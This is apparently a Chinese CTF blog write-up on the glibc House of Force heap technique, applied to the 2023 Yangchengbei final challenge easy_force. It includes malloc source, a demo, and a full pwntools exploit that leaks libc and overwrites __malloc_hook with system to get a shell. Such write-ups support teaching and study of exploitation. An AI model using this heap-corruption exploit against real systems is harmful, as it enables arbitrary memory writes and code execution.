0%

House of force

House of force

条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小

原理:

利用malloc函数对top chunk的利用,使得堆块指向我们期望的地址,再次申请堆块就可以实现任意地址写。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
//nb是用户申请的堆块的大小加上头堆块
{
remainder_size = size - nb;
// 新的top chunk的大小
remainder = chunk_at_offset(victim, nb);
//等价于remainder = (mchunkptr)((char*)victim + nb); 获取新的top chunk的地址
av->top = remainder;
//更新top chunk地址
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

利用:

只要满足把top chunk的size改成一个很大的值,就可以通过这个检测。

一般把top chunk size的值改为-1 size是unsigned int类型就会变成0xffffffffffffffff 从而绕过检测。

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(offset); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}

这里的offset就是想控制top chunk移动后的位置。

1
2
3
4
5
6
offset = target - 0x10 //nb
-=top

malloc(offset) // 此时new top chunk的头地址就会位于 target-0x10的位置
malloc(0x10) //实现任意地址写

这里offset也可以是负数 (控制topchunk向低地址偏移)

  • 由于我们的top chunk size是-1 所以可以绕过检测。

  • new top chunk的size我们不需要关系 重要的是new top chunk的地址 ,也就是:

    remainder = chunk_at_offset(victim, nb):

    这里我们的nb是一个负数 虽然转化成unsigned int类型会变成一个很大的正数 但是计算的时候会经过处理变成正常的加减法 就把他当成正常负数看就好。

例题:2023 羊城杯决赛easy_force

main:

image-20251127122736424

add:

image-20251127122801609

保护:

image-20251127123220721

这里只给了4次add函数的机会 , 其他的函数都无用。

思路:

通过house of force 把 malloc_hook 改成 system(\bin\sh)。

解题:

首先通过mmap泄露libc基地址:

在处理大 chunk 时的行为:
glibc 的 malloc 对于大于 mmap_threshold 的申请,不使用 heap,而是直接调用 mmap() 向内核申请一块内存。
默认情况下,这个阈值在 128 KB 左右(也可能是更大)
(比如:malloc(0x20000) ➜ 会使用 mmap)

mmap 分配的大 chunk 地址规律:

使用mmap()分配的内存块,一般在 libc 映射地址之下;
在默认的内存布局中,mmap() 返回的地址和 libc.so 的加载基址存在一个固定偏移;

申请一个超大 chunk(触发 mmap
打印这个 chunk 的地址
减去偏移,得到 libc base

这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc 版本,就可以知道偏移量。

1
2
3
4
5
add(3, 0x888888, 'aaa')
#add(1, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

Image #1

修改topchunk size:

1
2
3
4
5
add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

image-20251127125636159

计算偏移移动top chunk到新位置:

1
2
3
4
5
6
7
8
9
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))
// 0x20的偏移通过调试获得
#gdb.attach(io)

add(1,offset,'xxxx')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))

image-20251127125941799

image-20251127125952099

这里可以看到new top 被移动到了malloc_hook - 0x10的位置。

这样我们就可以进行任意地址写 覆写malloc_hook的地址了

写入system:

1
2
3
4
5
add(2,0x10,p64(system))
io.recvuntil("on ")
addr1=int(io.recv(14),16)
log.success("addr1 :"+hex(addr1))

这里可以看到new topchunk 切割了一块0x20大小的堆块给返回给用户

我们从这里写入了system的地址

image-20251127130158802

后面再次利用malloc函数就可以实现打通。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
io= process('./pwn')
elf=ELF('./pwn')

libc = elf.libc
def add(index,size,content):
io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(index))
io.sendlineafter("how much space do u want?\n", str(size))
io.sendlineafter("now what to write?\n",content)
#gdb.attach(io)
add(3, 0x888888, 'aaa')
#add(1, 0x888888, 'aaa')
io.recvuntil("on ")
libcc = int(io.recv(14),16)
libc.address= libcc +0x888ff0
log.success("libc :" + hex(libcc))
log.success("libc.address :"+hex(libc.address))
gdb.attach(io)
add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

#gdb.attach(io)

add(1,offset,'xxxx')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))


add(2,0x10,p64(system))
io.recvuntil("on ")
addr1=int(io.recv(14),16)
log.success("addr1 :"+hex(addr1))

io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(4))
io.sendlineafter("how much space do u want?\n", str(top))

io.interactive()

总结:

house of force 的关键在于可以修改topchunk的size部分 以及 计算好到target目标地址的偏移量。

参考:https://tamoly.github.io/2025/07/13/NSSCTF-PWN%E9%A2%98%E8%A7%A3/%E7%BE%8A%E5%9F%8E%E6%9D%AF%202023%20%E5%86%B3%E8%B5%9B%20easy_force(House%20of%20Force%E5%92%8Csystem('bin%20sh'))/index.html